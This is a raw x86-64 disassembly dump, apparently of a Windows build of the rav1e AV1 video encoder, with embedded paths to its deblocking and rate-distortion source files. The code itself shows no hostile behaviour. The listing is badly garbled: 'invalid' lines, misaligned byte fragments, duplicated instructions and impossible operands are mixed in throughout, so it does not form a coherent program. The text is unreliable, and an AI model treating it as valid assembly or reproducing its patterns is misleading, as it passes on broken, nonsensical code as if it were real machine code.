mov qword [rsp + 0x98], rax
mov rax, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x70]
inc rcx
mov qword [rsp + 0x110], rcx
invalid
sub rax, 1
jb 0x1400f8951
mov qword [rsp + 0x128], rax
mov qword [rsp + 0x48], rsi
mov rax, qword [rsp + 0xb0]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0xa0]
movabs al, byte [0x3824448948000000]
mov rax, qword [rsp + 0x88]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x340]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0xb8]
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x90]
xor edx, edx
mov r8, qword [rsp + 0x98]
mov r9, qword [rsp + 0xa8]
call fcn.1400f8f96
mov rcx, r12
mov rdx, qword [rsp + 0x120]
xchg esp, eax
and al, 0x20
add dword [rax], eax
add byte [rax], al
mov r8, qword [rsp + 0x118]
mov r9, rdx
call fcn.140033724
mov rsi, qword [rsp + 0x60]
mov r14, qword [rsp + 0x68]
mov esi, dword [rsp + 0x68]
push 0x24448b48
mov rax, qword [rsp + 0x70]
inc rax
mov qword [rsp + 0x130], rax
sub r14, 1
jb 0x1400f8927
add byte [rax], al
mov rbp, qword [rsp + 0x80]
mov qword [rsp + 0x48], rbp
insb byte [rdi], dx
and al, 0x48
mov r15, qword [rsp + 0xb0]
mov qword [rsp + 0x40], r15
mov rdi, qword [rsp + 0xa0]
movabs al, byte [0x38247c8948000000]
cmp byte [rax - 0x75], cl
pushfq
and al, 0x88
add byte [rax], al
add byte [rax - 0x77], cl
pop rsp
and al, 0x30
lea rax, [rsp + 0x138]
test byte [rax + rdi], ah
add dword [rax], eax
add byte [rax - 0x77], cl
and al, 0x28
mov r13, qword [rsp + 0xb8]
mov ebp, dword [rsp + 0xb8]
mov qword [rsp + 0x20], r13
mov rcx, qword [rsp + 0x90]
mov rdx, rsi
mov r8, qword [rsp + 0x98]
add byte [rax], al
add byte [rbx + rcx*4 - 0x5c], cl
and al, 0xa8
add byte [rax], al
add byte [rbp - 0x77], cl
loope 0x1400f88bd
jle 0x1400f88da
add byte [rax], al
mov qword [rsp + 0x48], rbp
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rbx
lea rax, [rsp + 0x340]
mov qword [rsp + 0x28], rax
sub byte [rcx + rcx*4 + 0x6c], cl
and al, 0x20
mov rcx, qword [rsp + 0x90]
mov rdx, rsi
mov r8, qword [rsp + 0x98]
add byte [rbp - 0x77], cl
loope 0x1400f88fe
jl 0x1400f891e
add byte [rax], al
add rsi, qword [rsp + 0x130]
jmp 0x1400f885e
mov rax, qword [rsp + 0x110]
add qword [rsp + 0x98], rax
and al, 0x98
add byte [rax], al
add byte [rbp + rcx*4 + 0x64], cl
and al, 0x60
mov rsi, qword [rsp + 0x80]
mov rax, qword [rsp + 0x128]
jmp 0x1400f87b2
invalid
invalid
invalid
mov qword [rsp + 0x60], 1
mov qword [rsp + 0x68], 0x3f
mov byte [rsp + 0x70], 0
mov r14, qword [rsp + 0xf0]
mov ah, 0x24
lock add byte [rax], al
add byte [rbx + rcx*4 - 0x44], cl
and al, 0xe8
add byte [rax], al
add byte [rax - 0x75], cl
pushfq
and al, 8
add dword [rax], eax
add byte [rbx + rcx*4 - 0x54], cl
and al, 0
add dword [rax], eax
add byte [rax], al
mov rdi, qword [rsp + 0x88]
mov rcx, r12
call fcn.140081956
test rax, rax
je 0x1400f89da
mov r9, rdx
lea rcx, [rdx - 1]
cmp rcx, 0x41
jae 0x1400f8b9b
cmp r9, 0x41
jae 0x1400f8ba4
mov rax, qword [rsp + r9*8 + 0x130]
add qword [rsp + r9*8 + 0x138], rax
mov rax, qword [rsp + r9*8 + 0x338]
add qword [rsp + r9*8 + 0x340], rax
jmp 0x1400f8990
test rdi, rdi
je 0x1400f8a68
and qword [rsp + 0x60], 0
mov qword [rsp + 0x68], 0x3f
mov byte [rsp + 0x70], 0
mov ecx, 0x3e7
add eax, dword [rax]
invalid
mov rdi, rcx
mov rcx, r12
call fcn.140081956
test rax, rax
je 0x1400f8a53
mov rcx, rdx
cmp rdi, 0x3e7
jmp rdi
add eax, dword [rax]
invalid
je 0x1400f89fc
cmp rdi, 0x41
jae 0x1400f8bb8
xchg esi, eax
add dword [rax], eax
invalid
cmp rcx, 0x40
ja 0x1400f8bcc
mov rax, qword [rsp + rdi*8 + 0x340]
add rax, qword [rsp + rdi*8 + 0x138]
add byte [rax], al
mov rdx, qword [rsp + rcx*8 + 0x340]
add rdx, qword [rsp + rcx*8 + 0x138]
add dword [rax], eax
add byte [rax + 0x39], cl
sar byte [rsi - 0x52], 1
jmp 0x1400f89fc
mov rax, qword [rsp + 0xc0]
mov byte [rsp + rax + 0x5c], dil
mov rdi, rax
jmp 0x1400f85bd
sti
invalid
invalid
and qword [rsp + 0x60], 0
mov qword [rsp + 0x68], 0x3f
add dh, al
and al, 0x70
add byte [rax + 0x3e7], bh
mov ecx, 0x3e7
mov rbx, rcx
mov r13, rax
mov ebp, eax
mov rcx, r12
call fcn.140081956
clc
dec dword [rax - 0x7b]
invalid
je 0x1400f8b0b
mov rcx, rdx
mov rax, rdx
cmp r13, 0x3e7
je 0x1400f8ad4
cmp r13, 0x41
jae 0x1400f8bf2
add dword [rax + 1], 0
add dword [rax], eax
invalid
cmp rcx, 0x41
jae 0x1400f8c06
mov rdx, qword [rsp + r13*8 + 0x138]
mov rax, r13
cmp rdx, qword [rsp + rcx*8 + 0x138]
xchg esp, eax
int3
cmp byte [rcx], al
add byte [rax], al
jle 0x1400f8ad4
mov rax, rcx
cmp rbx, 0x3e7
je 0x1400f8a86
cmp rbx, 0x41
jae 0x1400f8bd5
add byte [rax], al
cmp rcx, 0x41
jae 0x1400f8be9
mov rdx, qword [rsp + rbx*8 + 0x340]
mov r13, rax
cmp rdx, qword [rsp + rcx*8 + 0x340]
add eax, dword [rax]
add byte [rsi - 0x7a], bh
jmp 0x1400f8a86
mov rdi, qword [rsp + 0xc0]
jmp 0x1400f85bd
mov byte [rsp + 0x5c], r13b
mov byte [rsp + 0x5d], bl
pop rsp
and al, 0x5d
mov eax, dword [rsp + 0x5c]
and al, 0x5c
jmp 0x1400f8b87
add rsp, 0x548
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rdi
ret
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcdeblock.rs
jmp 0x1400f8c0d
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcdeblock.rs
mov edx, 0x41
add byte [rax], al
add byte [rcx + rcx*4 - 0x37], cl
call fcn.1401c6eb0
loop 0x1400f8bc3
invalid
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcdeblock.rs
mov edx, 0x41
mov rcx, rdi
mov ecx, edi
call fcn.1401c6eb0
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcdeblock.rs
jmp 0x1400f8c0d
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcdeblock.rs
mov edx, 0x41
mov rcx, rbx
call fcn.1401c6eb0
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcdeblock.rs
jmp 0x1400f8c0d
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcdeblock.rs
mov edx, 0x41
mov rcx, r13
jmp 0x14cf236ed
invalid
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcdeblock.rs
mov edx, 0x41
call fcn.1401c6eb0
lea rcx, str.assertion_failed:_xdec___1__ydec___1xY__
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcdeblock.rs
add eax, 0x14db7b
mov edx, 0x28
call fcn.1401c6f30
lea rcx, str.assertion_failed:_ILog::ilog_input.planes_0_.plane_cfg.width___n________ILog::ilog_input.planes_0_.plane_cfg.height____35
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcdeblock.rs
add eax, 0x14d41b
mov edx, 0x79
call fcn.1401c6f30
lea rcx, str.internal_error:_entered_unreachable_codeC:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rayon_core_1.12.1_srcjob.rs
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcdeblock.rs
jmp 0x1400f8c25
cmp qword [rcx + 0x20], r8
jbe 0x1400f8f35
mov rbx, rdx
mov r12, rcx
mov rdx, qword [rcx + 0x18]
cmp rdx, rbx
jbe 0x1400f8f26
invalid
add byte [rcx + rcx*4 - 0x32], cl
mov rsi, r9
mov r14, r8
mov r15, qword [rsp + 0x120]
mov edi, dword [rsp + 0x120]
mov edi, dword [rsp + 0x120]
mov rax, qword [r12 + 0x28]
imul rax, r8
imul rax, rax, 0x1e
add rax, qword [r12]
mov rdi, qword [rsp + 0x110]
adc byte [rcx], al
add byte [rax], al
invalid
imul r13, rbx, 0x1e
add r13, rax
test rdi, rdi
je 0x1400f8cd0
mov r8, qword [rsp + 0x128]
sub byte [rcx], al
add byte [rax], al
mov cl, byte [r13 + 0x1a]
mov rdx, r15
call fcn.140086baf
jmp 0x1400f8cd4
mov al, byte [r13 + 0x1b]
mov rbp, rbx
mov ecx, r15d
shr rbp, cl
mov ecx, eax
shr eax, 0x4e
clc
clc
dec dword [rax - 1]
enter 0xffffffffffff8548, 0xffffffffffffffe8
shr eax, 0x4e
clc
clc
clc
dec dword [rax - 1]
enter 0xffffffffffff8548, 0xffffffffffffffe8
je 0x1400f8d00
add rsp, 0x98
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop rbp
pop rbp
pop r14
pop r15
ret
mov r15, qword [rsi]
mov rcx, r12
mov rdx, rbx
mov r8, r14
mov r9, r15
call fcn.140087fa9
clc
inc dword [rcx + 0xf]
mov dh, 0x4d
invalid
dec rcx
test rcx, rbx
sete byte [rsp + 0x28]
xchg esp, eax
and al, 0x28
mov byte [rsp + 0x20], 1
mov rcx, r13
mov rdx, rax
ret 0x894d
clc
clc
inc dword [rcx + 0xf]
mov dh, 0x4d
invalid
ret 0x894d
clc
mov r9, rdi
call fcn.140086c0e
test rax, rax
je 0x1400f8cec
mov rdi, rax
mov r8, qword [r15 + 0x20]
and byte [rbp - 0x75], cl
invalid
invalid
mov rcx, rbx
mov rdx, r14
call fcn.14007df20
mov rcx, rdi
mov ecx, edi
shr rcx, 1
sub rax, rcx
mov rcx, qword [rsi + 8]
invalid
test rcx, rcx
je case.0x1400cbead.67
invalid
test rax, rax
test rax, rax
js case.0x1400831b0.192
add dword [rax], eax
add byte [rax + 0x3b], cl
cmp rax, qword [rsi + 0x20]
ja case.0x1400831b0.192
and byte [rdi], r9b
xchg ebx, edx
add dword [rax], eax
add byte [rax - 0x7b], cl
ror byte [rdi], cl
invalid
test rdx, rdx
js 0x1400f8f65
mov dl, ah
add dword [rax], eax
invalid
mov dl, ah
add dword [rax], eax
add byte [rax + 0x3b], cl
cmp rdx, qword [rsi + 0x28]
ja 0x1400f8f65
push rsi
sub byte [rdi], cl
xchg eax, ebx
add dword [rax], eax
add byte [rbp - 0x75], cl
mov eax, dword [rdi]
mov r8, qword [r15]
mov eax, dword [rdi]
imul r8, rdx
lea rcx, [rcx + r8*2]
lea rcx, [rcx + rax*2]
or al, 0x41
or al, 0x41
mov r8, qword [rsi + 0x10]
add r8, rax
mov r9, qword [rsi + 0x18]
add r9, rdx
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], r15
jl 0x1400f8dd7
and al, 0x38
and al, 0x38
mov qword [rsp + 0x48], r8
and al, 0x48
mov qword [rsp + 0x50], r9
mov qword [rsp + 0x58], rdi
mov qword [rsp + 0x60], 4
jmp 0x1400f8de6
invalid
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
push rax
movups xmmword [rsp + 0x40], xmm0
and al, 0x40
and al, 0x40
and qword [rsp + 0x60], 0
mov qword [rsp + 0x38], r15
mov r8, qword [rsp + 0x100]
add byte [rcx], al
add byte [rax], al
mov rcx, qword [r8]
mov r9, qword [r8 + 8]
test r9, r9
je 0x1400f8e67
test rax, rax
js case.0x1400831b0.192
add byte [rax], al
add byte [rax], al
cmp rax, qword [r8 + 0x20]
ja case.0x1400831b0.192
and byte [rdi], cl
xchg dword [rax + 1], eax
add byte [rax], al
test rdx, rdx
js 0x1400f8f65
cmp rdx, qword [r8 + 0x28]
ja 0x1400f8f65
mov r10, qword [rcx]
imul r10, rdx
lea r9, [r9 + r10*2]
or al, 0x51
or al, 0x51
lea r9, [r9 + rax*2]
add rax, qword [r8 + 0x10]
mov r8, qword [r8 + 0x18]
sbb byte [rcx + 1], cl
ror byte [rcx + rcx*4 + 0x4c], 1
and al, 0x70
mov qword [rsp + 0x68], rcx
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x80], r8
mov qword [rsp + 0x88], rdi
mov byte [rax], al
add byte [rax], al
mov qword [rsp + 0x90], 4
add bl, ch
invalid
xorps xmm0, xmm0
movups xmmword [rsp + 0x80], xmm0
and al, 0x80
add byte [rax], al
add byte [rdi], cl
adc dword [rsp + 0x70], eax
and qword [rsp + 0x90], 0
and dword [rsp + 0x90], 0
movsb byte [rdi], byte [rsi]
and al, 0x90
add byte [rax], al
add byte [rax], al
movsb byte [rdi], byte [rsi]
and al, 0x90
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x68], rcx
add rdi, 0xfffffffffffffffc
ror rdi, 1
cmp rdi, 5
cmp edi, 5
ja case.0x1400f8eb4.3
mov rax, qword [rsp + 0x118]
mov r8, qword [rsp + 0x108]
lea rcx, [0x14028c26c]
movsxd rdx, dword [rcx + rdi*4]
add rdx, rcx
jmp rdx
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x38]
lea rdx, [rsp + 0x68]
xor r9d, r9d
call fcn.1400f92d5
jmp 0x1400f8cec
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x38]
lea rdx, [rsp + 0x68]
push 0xffffffffe8c93145
sldt word fs:[rax]
jmp 0x1400f8cec
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x38]
lea rdx, [rsp + 0x68]
lea edx, [rsp + 0x68]
xor r9d, r9d
call fcn.1400fa6ba
jmp 0x1400f8cec
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x38]
lea rdx, [rsp + 0x68]
lea edx, [rsp + 0x68]
xor r9d, r9d
call fcn.1400f979c
jmp 0x1400f8cec
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcdeblock.rs
mov rcx, rbx
call fcn.1401c6eb0
jnp 0x1400f8f12
or al, 0
lea rcx, str.assertion_failed:_index___self.rowsassertion_failed:_index___self.rect.heightC:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_arrayvec_0.7.4_src_arrayvec.rsC:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcec.rsC:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_tiling_tiler.rs
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcdeblock.rs
mov edx, 0x23
call fcn.1401c6f30
jrcxz 0x1400f8f2a
or al, 0
lea rcx, [0x140241cf6]
lea r8, [0x140241be8]
mov edx, 0x43
call fcn.1401c6f30
lea rcx, [0x140241d39]
lea r8, [0x140241be8]
mov edx, 0x44
call fcn.1401c6f30
lea rcx, str.internal_error:_entered_unreachable_codeC:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rayon_core_1.12.1_srcjob.rs
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcdeblock.rs
mov edx, 0x28
call fcn.1401c6f30
wait
fisttp word [rax + rax]
wait
fisttp word [rax + rax]
int3
jbe 0x1400f9274
mov rbx, rdx
mov r12, rcx
mov rdx, qword [rcx + 0x18]
cmp rdx, rbx
jbe 0x1400f9265
ror dword [rcx - 0x77], cl
int3
mov rsi, r9
mov r14, r8
mov r15, qword [rsp + 0x128]
mov edi, dword [rsp + 0x128]
mov edi, dword [rsp + 0x128]
add dword [rax], eax
add byte [rcx - 0x75], cl
and al, 0x28
mov rax, qword [r12 + 0x28]
imul rax, r8
imul rax, rax, 0x1e
add rax, qword [r12]
mov rdi, qword [rsp + 0x110]
adc byte [rcx], al
add byte [rax], al
imul r13, rbx, 0x1e
add r13, rax
test rdi, rdi
je 0x1400f900f
mov rdx, qword [rsp + 0x120]
mov cl, byte [r13 + 0x1a]
mov r8, r15
call fcn.140086baf
invalid
invalid
clc
invalid
jmp 0x1400f9013
movabs byte [0x458a4104ebfff8db], al
sbb ecx, dword [rcx + rcx*4 - 0xb]
mov al, byte [r13 + 0x1b]
mov rbp, r14
mov ecx, r15d
shr rbp, cl
mov ecx, eax
call fcn.140086bfc
clc
dec dword [rax - 1]
enter 0xffffffffffff8548, 0xffffffffffffffe8
shr eax, 0xd9
invalid
clc
dec dword [rax - 1]
enter 0xffffffffffff8548, 0xffffffffffffffe8
je 0x1400f903f
add rsp, 0x98
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop rbp
pop rbp
pop r14
pop r15
ret
mov r15, qword [rsi]
mov rcx, r12
mov rdx, rbx
mov r8, r14
mov r9, r15
call fcn.14008c88e
movzx ecx, byte [r13 + 0x17]
mov dh, 0x4d
invalid
mov dh, 0x4d
invalid
dec rcx
test rcx, r14
sete byte [rsp + 0x28]
and al, 0x28
and al, 0x28
mov byte [rsp + 0x20], 1
mov rcx, r13
mov rdx, rax
mov r8, r15
mov r9, rdi
call fcn.140086c0e
test rax, rax
je 0x1400f902b
lodsd eax, dword [rsi]
mov rdi, rax
mov r8, qword [r15 + 0x20]
mov r9, qword [r15 + 0x28]
mov rcx, rbx
mov rdx, r14
mov edx, esi
mov edx, esi
call fcn.14007df20
mov rcx, rdi
shr rcx, 1
jmp 0x188d9b9e6
mov ecx, dword [rsi + 8]
test rcx, rcx
je 0x1400f910d
invalid
jmp 0x188d9b9e6
test rax, rax
test rax, rax
js 0x1400f928c
add dword [rax], eax
add byte [rax + 0x3b], cl
and byte [rdi], r9b
xchg ebx, edx
rol dword [rcx], cl
add byte [rax], al
test rdx, rdx
invalid
mov dl, ah
add dword [rax], eax
cmp rax, qword [rsi + 0x20]
ja 0x1400f928c
rol dword [rcx], cl
add byte [rax], al
rol dword [rcx], cl
add byte [rax], al
test rdx, rdx
js 0x1400f92a4
invalid
add byte [rax + 0x3b], cl
push rsi
sub byte [rdi], cl
xchg eax, ebx
add dword [rax], eax
add byte [rbp - 0x75], cl
invalid
cmp rdx, qword [rsi + 0x28]
ja 0x1400f92a4
mov r8, qword [r15]
imul r8, rdx
lea rcx, [rcx + r8*2]
lea rcx, [rcx + rax*2]
or al, 0x41
or al, 0x41
mov r8, qword [rsi + 0x10]
add r8, rax
mov r9, qword [rsi + 0x18]
adc byte [rcx + 1], r9b
ror byte [rbx + rcx*4 + 0x4e], 0x18
add r9, rdx
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x48], r8
and al, 0x48
and al, 0x48
mov qword [rsp + 0x50], r9
mov qword [rsp + 0x58], 4
and al, 0x58
add al, 0
add byte [rax], al
and al, 0x58
add al, 0
add byte [rax], al
mov qword [rsp + 0x60], rdi
jmp 0x1400f9125
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
adc dword [rsp + 0x50], eax
adc dword [rsp + 0x50], eax
movups xmmword [rsp + 0x40], xmm0
and qword [rsp + 0x60], 0
mov qword [rsp + 0x38], r15
mov r8, qword [rsp + 0x100]
and al, 0
add dword [rax], eax
add byte [rcx - 0x75], cl
mov rcx, qword [r8]
mov r9, qword [r8 + 8]
test r9, r9
mov rcx, qword [r8]
mov r9, qword [r8 + 8]
test r9, r9
je 0x1400f91a6
test rax, rax
js 0x1400f928c
cmp rax, qword [r8 + 0x20]
ja 0x1400f928c
test rdx, rdx
js 0x1400f92a4
mov byte [rdi + 1], cl
add byte [rax], al
mov byte [rdi + 1], cl
add byte [rax], al
cmp rdx, qword [r8 + 0x28]
ja 0x1400f92a4
mov r10, qword [rcx]
imul r10, rdx
lea r9, [r9 + r10*2]
lea r9, [r9 + rax*2]
mov r10, qword [r8 + 0x10]
add r10, rax
add rdx, qword [r8 + 0x18]
mov qword [rsp + 0x70], r9
mov qword [rsp + 0x68], rcx
mov qword [rsp + 0x78], r10
mov qword [rsp + 0x80], rdx
mov qword [rsp + 0x88], 4
mov qword [rsp + 0x90], rdi
nop
add byte [rax], al
add bl, ch
invalid
nop
add byte [rax], al
add bl, ch
invalid
xorps xmm0, xmm0
movups xmmword [rsp + 0x80], xmm0
movups xmmword [rsp + 0x70], xmm0
and qword [rsp + 0x90], 0
mov qword [rsp + 0x68], rcx
add rdi, 0xfffffffffffffffc
ror rdi, 1
cmp rdi, 5
ja case.0x1400f91f3.3
mov rax, qword [rsp + 0x118]
mov r8, qword [rsp + 0x108]
or byte [rcx], al
add byte [rax], al
lea rcx, [0x14028c284]
movsxd rdx, dword [rcx + rdi*4]
add rdx, rcx
jmp rdx
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x38]
and al, 0x38
lea rdx, [rsp + 0x68]
mov r9b, 1
call fcn.1400f92d5
jmp 0x1400f902b
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x38]
lea rdx, [rsp + 0x68]
mov r9b, 1
call fcn.1400f9e4d
jmp 0x1400f902b
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x38]
lea rdx, [rsp + 0x68]
mov r9b, 1
call fcn.1400fa6ba
jmp 0x1400f902b
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x38]
lea rdx, [rsp + 0x68]
mov r9b, 1
call fcn.1400f979c
jmp 0x1400f902b
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcdeblock.rs
mov rcx, rbx
call fcn.1401c6eb0
cmp al, 0xdc
or al, 0
lea rcx, str.assertion_failed:_index___self.rowsassertion_failed:_index___self.rect.heightC:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_arrayvec_0.7.4_src_arrayvec.rsC:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcec.rsC:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_tiling_tiler.rs
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcdeblock.rs
mov edx, 0x23
call fcn.1401c6f30
lea rcx, [0x140241cf6]
lea r8, [0x140241be8]
mov edx, 0x43
call fcn.1401c6f30
lea rcx, [0x140241d39]
lea r8, [0x140241be8]
mov edx, 0x44
call fcn.1401c6f30
lea rcx, str.internal_error:_entered_unreachable_codeC:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rayon_core_1.12.1_srcjob.rs
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcdeblock.rs
mov edx, 0x28
call fcn.1401c6f30
int3
cmp r14, 2
je 0x140100425
mov bl, byte [r14 + rax]
inc r14
cmp bl, r11b
je 0x1400fff7a
mov byte [rsp + 0x56], r11b
mov word [rsp + 0x5c], r10w
mov qword [rsp + 0x80], r9
mov qword [rsp + 0x88], r8
mov word [rsp + 0x5e], dx
mov qword [rsp + 0x90], rcx
nop
add byte [rax], al
add byte [rbx + 0x2a824a4], al
add byte [rax], al
add byte [rdi], cl
mov dh, 0xc3
lea ecx, [rax - 1]
cmp ecx, 3
jae case.0x14002eaa5.743
mov word [rsp + 0x58], r13w
mov word [rsp + 0x5a], bp
mov qword [rsp + 0x78], rdi
mov ecx, r12d
mov edx, ebx
invalid
call fcn.1400c4f4b
cmp al, 0x16
je 0x1401004ad
mov r13d, eax
mov qword [rsp + 0x70], rsi
mov ecx, r12d
call fcn.1400c502f
xorpd xmm10, xmm10
xorpd xmm7, xmm7
test al, al
je 0x140100083
mov rbp, qword [rsp + 0x60]
cmp byte [rbp + 0x1280], 0
mov rsi, qword [rsp + 0x538]
cmove rsi, qword [rsp + 0x530]
add eax, 0x89480000
int1
call fcn.1400e2e9f
mov edi, eax
mov al, byte [rsp + 0x540]
mov byte [rsp + 0x28], al
mov byte [rsp + 0x20], bl
mov rcx, rbp
mov rdx, rsi
mov r8, qword [rsp + 0x548]
mov r9, qword [rsp + 0x550]
call fcn.1400c50a5
mov rcx, rsi
call fcn.1400e2e9f
sub eax, edi
cvtsi2sd xmm1, rax
mulsd xmm1, xmm9
xorps xmm2, xmm2
movapd xmm0, xmm6
call sub.api_ms_win_crt_math_l1_1_0.dll_fma
push 0x65
or al, 0
movapd xmm7, xmm0
mov ecx, r13d
call fcn.1400c2707
mov rbp, rax
mov ecx, r13d
call fcn.1400c2719
mov r8, qword [rsp + 0x548]
lea rcx, [r8 + rbp]
mov rdx, qword [rsp + 0x550]
add rax, rdx
mov qword [rsp + 0xb0], r8
mov qword [rsp + 0xb8], rdx
mov qword [rsp + 0xc0], rcx
mov qword [rsp + 0xc8], rdx
mov qword [rsp + 0xd0], r8
mov qword [rsp + 0xd8], rax
mov qword [rsp + 0xe0], rcx
mov qword [rsp + 0xe8], rax
lea rsi, [rsp + 0x378]
mov rcx, rsi
lea rdx, [rsp + 0xb0]
mov r8d, ebx
call fcn.140073b8d
mov ecx, 9
lea rdi, [rsp + 0x128]
rep movsq qword [rdi], qword [rsi]
and qword [rsp + 0x120], 0
shr rbp, 1
lea rcx, [rsp + 0x98]
lea rdx, [rsp + 0x120]
and al, 0x20
add dword [rax], eax
add al, ch
xchg edi, eax
invalid
idiv edi
cmp qword [rsp + 0x98], 0
je 0x1401002ac
mov rsi, qword [rsp + 0xa0]
lea rax, [rsi + rbp]
cmp rax, qword [r15 + 0x2e8]
jae 0x14010028a
mov rdi, qword [rsp + 0xa8]
lea rax, [rdi + rbp]
cmp rax, qword [r15 + 0x2f0]
jae 0x14010028a
mov al, byte [rsp + 0x568]
mov byte [rsp + 0x40], al
mov al, byte [rsp + 0x560]
mov byte [rsp + 0x38], al
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x28], rsi
mov byte [rsp + 0x20], r13b
lea rcx, [rsp + 0xf0]
mov rdx, qword [rsp + 0x68]
mov r8, r15
mov r9, qword [rsp + 0x60]
call fcn.1401004f2
addsd xmm10, qword [rsp + 0x100]
cmp byte [rsp + 0x57], 0
je 0x1401001d5
ucomisd xmm10, xmm8
ja 0x14010028a
mov r12, r15
mov ecx, r13d
call fcn.1400c502f
test al, al
je 0x140100222
mov ecx, r13d
call fcn.1400c470d
test al, al
je 0x140100222
invalid
mov rcx, qword [rsp + 0x60]
cmp byte [rcx + 0x1280], 0
mov rdx, qword [rsp + 0x538]
cmove rdx, qword [rsp + 0x530]
mov byte [rsp + 0x28], r13b
mov byte [rsp + 0x20], 0
mov r8, rsi
mov r9, rdi
call fcn.1400c50a5
cld
invalid
lea r15, [rsp + 0xf0]
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rsi
mov byte [rsp + 0x28], r13b
mov rax, qword [rsp + 0x538]
mov qword [rsp + 0x20], rax
and qword [rsp + 0x48], 0
mov rcx, qword [rsp + 0x68]
mov rdx, r12
mov r8, qword [rsp + 0x60]
mov r9, qword [rsp + 0x530]
call fcn.140111b8f
lea rcx, [rsp + 0x1e8]
mov rdx, r15
mov edx, edi
mov r15, r12
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_rdo.rs
call fcn.1400e3266
jmp 0x140100124
mov rsi, qword [rsp + 0x70]
mov r12b, byte [rsp + 0x540]
mov rdi, qword [rsp + 0x78]
movzx ebp, word [rsp + 0x5a]
movzx r13d, word [rsp + 0x58]
mov bh, 0x6c
insb byte [rdi], dx
and al, 0x58
jmp 0x1401003a1
addsd xmm7, xmm10
mov rsi, qword [rsp + 0x70]
mov r12b, byte [rsp + 0x540]
mov rdi, qword [rsp + 0x78]
movzx ebp, word [rsp + 0x5a]
movzx r13d, word [rsp + 0x58]
jmp 0x140100361
test eax, eax
jne 0x1401004d9
mov ecx, r12d
mov dl, 0xc
call fcn.1400c4818
test al, al
je 0x1401004d9
test ah, ch
add dword [rax], eax
invalid
mov al, byte [rsp + 0x568]
mov byte [rsp + 0x40], al
mov al, byte [rsp + 0x560]
mov byte [rsp + 0x38], al
mov rax, qword [rsp + 0x550]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x548]
mov qword [rsp + 0x28], rax
mov byte [rsp + 0x20], r12b
lea rcx, [rsp + 0x120]
and al, 0x20
add dword [rax], eax
add byte [rax - 0x75], cl
push rsp
and al, 0x68
mov r8, r15
mov r9, qword [rsp + 0x60]
call fcn.1401004f2
movsd xmm7, qword [rsp + 0x130]
lea rcx, [rsp + 0x1e8]
lea rdx, [rsp + 0x120]
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_rdo.rs
